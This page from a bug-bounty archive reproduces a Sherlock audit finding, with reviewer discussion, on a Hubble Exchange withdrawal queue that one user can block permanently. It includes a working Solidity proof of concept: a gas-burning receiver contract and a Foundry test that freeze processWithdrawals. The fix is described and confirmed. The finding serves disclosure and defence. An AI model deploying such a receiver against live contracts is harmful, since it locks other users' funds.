Skip to content
DoS Audit finding Intermediate

ProcessWithdrawals is still DOS-able

The withdrawal queue processing function can be permanently blocked by a malicious user who withdraws to a smart contract that consumes all available gas during the external call. This prevents any further withdrawals from being processed, causing users to lose their funds.

0x3e84fa45 Follow with 0x52, 0xDjango and 8 others

Originally disclosed on Sherlock

Source: https://github.com/sherlock-audit/2023-04-hubble-exchange-judging/issues/116

Found by

0x3e84fa45, 0x52, 0xDjango, 0xbepresent, carrotsmuggler, dirk_y, kutugu, p12473, qbs, qckhp, rogue-lion-0619

Summary

DOS on process withdrawals were reported in the previous code4rena audit however the fix does not actually stop DOS, it only makes it more expensive. There is a much cheaper way to DOS the withdrawal queue - that is by specifying the usr to be a smart contract that consumes all the gas.

Vulnerability Detail

Solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.9;
import "./Utils.sol";

contract MaliciousReceiver {
    uint256 public gas;
    receive() payable external {
        gas = gasleft();
        for(uint256 i = 0; i < 150000; i++) {} // 140k iteration uses about 28m gas. 150k uses slightly over 30m.
    }
}

contract VUSDWithReceiveTest is Utils {
    event WithdrawalFailed(address indexed trader, uint amount, bytes data);

    function setUp() public {
        setupContracts();
    }

    function test_CannotProcessWithdrawals(uint128 amount) public {
        MaliciousReceiver r = new MaliciousReceiver();

        vm.assume(amount >= 5e6);
        // mint vusd for this contract
        mintVusd(address(this), amount);
        // alice and bob also mint vusd
        mintVusd(alice, amount);
        mintVusd(bob, amount);

        // withdraw husd
        husd.withdraw(amount);      // first withdraw in the array
        vm.prank(alice);
        husd.withdraw(amount);
        vm.prank(bob);              // Bob is the malicious user and he wants to withdraw the VUSD to his smart contract
        husd.withdrawTo(address(r), amount);

        assertEq(husd.withdrawalQLength(), 3);
        assertEq(husd.start(), 0);

        husd.processWithdrawals();  // This doesn't fail on foundry because foundry's gas limit is way higher than ethereum's. 

        uint256 ethereumSoftGasLimit = 30_000_000;
        assertGt(r.gas(), ethereumSoftGasLimit); // You can only transfer at most 63/64 gas to an external call and the fact that the recorded amt of gas is > 30m shows that processWithdrawals will always revert when called on mainnet. 
    }

    receive() payable external {
        assertEq(msg.sender, address(husd));
    }
}

Copy and paste this file into the test/foundry folder and run it.

The test will not fail because foundry has a very high gas limit but you can see from the test that the amount of gas that was recorded in the malicious contract is higher than 30m (which is the current gas limit on ethereum). If you ran the test by specifying the —gas-limit i.e. forge test -vvv --match-path test/foundry/VUSDRevert.t.sol --gas-limit 30000000 The test will fail with Reason: EvmError: OutOfGas because there is not enough gas to transfer to the malicious contract to run 150k iterations.

Impact

Users will lose their funds and have their VUSD burnt forever because nobody is able to process any withdrawals.

Code Snippet

https://github.com/hubble-exchange/hubble-protocol/blob/d89714101dd3494b132a3e3f9fed9aca4e19aef6/contracts/VUSD.sol#L65-L85

Tool used

Manual Review

Recommendation

From best recommendation to worst

  1. Remove the queue and withdraw the assets immediately when withdraw is called.
  2. Allow users to process withdrawals by specifying the index index
  3. Allow the admin to remove these bad withdrawals from the queue
  4. Allow the admin to adjust the start position to skip these bad withdrawals.

Discussion

P12473

Escalate

I think we should differentiate between a temporary DOS like #153 vs a permanent DOS like my issue (and a few others that are marked as dups of #153 e.g. #57) and the fix suggested by #153 does not fix our vulnerability.

sherlock-admin2

Escalate

I think we should differentiate between a temporary DOS like #153 vs a permanent DOS like my issue (and a few others that are marked as dups of #153 e.g. #57) and the fix suggested by #153 does not fix our vulnerability.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

ctf-sec

Please check:

https://github.com/sherlock-audit/2023-04-hubble-exchange-judging/issues/153#issuecomment-1643620806

P12473

Please check:

#153 (comment)

The lack of reentrancy guards does not prevent the attack vector mentioned here. I see 3 broad categorization of issues that can DOS the processWithdraw function.

Vulnerability Issues Effect
Consuming more than the max allowed gas limit of the network #116, #57, #138, #160, #191, #215, #158* permanent DOS, single call
Cross functional reentrancy #153, #195 temporary DOS, single call
Spamming the withdrawal queue everything else temporary DOS, multiple call

Please note that this issue (and all its dups) will break the processWithdrawal function entirely and forever. You cannot undo it because there is no way to process a withdrawal transaction that consumes more gas than is maximally allowed in a single block e.g. 30m on ethereum, 15m on avalanche.

* I have also grouped #158 together because it is effectively the same thing i.e. the miners cannot process the withdrawal because it consumes too much gas (either from loading too much memory or from trying to execute a million iterations of a loop).

ctf-sec

This issues just outline an different way to waste gas in external call

Recommend maintaining the original duplication because the issue are grouped by root cause, not by fix or impact

hrishibhat

Result: High Has duplicates While I agree given the nature of the issues around external .call and out-of-gas-related issues in the processWithdrawals function, there could have been multiple versions of duplications. Tend to agree with the analysis made in this comment here. After looking at all the issues and considering the attack vectors mentioned, based on the Sherlock rules this is the version of duplication that was concluded:

    1. Issues that result in a user being a malicious contract that consumes all gas during processWithdrawals #116, #57, #138, #160, #191, #215, #158, #122, #96, #95, #127, #198
    1. Griefing due to cross-functional reentrancy #153, #195
    1. DOS due to large withdrawal requests #81, #94, #15

Note: I agree that there may be other duplication sets based on the interpretations of the duplication rules, but this is the one I decided to go with and consider fair.

sherlock-admin2

Escalations have been resolved successfully!

Escalation status:

asquare08

Fixed in this PR. The description is in the PR.

IAm0x52

Fix looks good. The call in processWithdrawals now limits gas consumption to maxGas which can be adjusted by governance. A optional change I would recommend is to prevent maxGas from being set to less than 3000 in the event that admin is compromised in some way.

asquare08

Yes. Good suggestion. Will add this with upcoming fixes.

The original report as published on Sherlock, by 0x3e84fa45. Images and videos are our own copies; raw HTML is shown as text. View it on Sherlock.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The processWithdrawals function makes an external call to the withdrawal recipient without limiting the gas, so a malicious recipient can consume all gas and cause the transaction to revert.

Impact

Users will lose their funds and have their VUSD burnt forever because nobody is able to process any withdrawals.

What the attacker needed

Attacker can withdraw to a malicious contract; no special privileges needed

The fix

The call in processWithdrawals now limits gas consumption to a governance-adjustable maxGas, and it is recommended to enforce a minimum value for maxGas.

How it was found

  1. Deploy a smart contract that consumes a large amount of gas in its receive function.
  2. Call withdrawTo with the malicious contract as the recipient.
  3. Call processWithdrawals; the external call to the malicious contract consumes more gas than the block gas limit, causing the transaction to revert.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A smart contract can be written to waste gas when it receives a payment. If a user withdraws to such a contract, the system tries to send the funds but runs out of gas, so the whole withdrawal process fails. Because the bad withdrawal stays in the queue, no one else can withdraw either.

What is DoS?

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

More by 0x3e84fa45

View all

4 more disclosed reports, best first.

More from Hubble Exchange

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.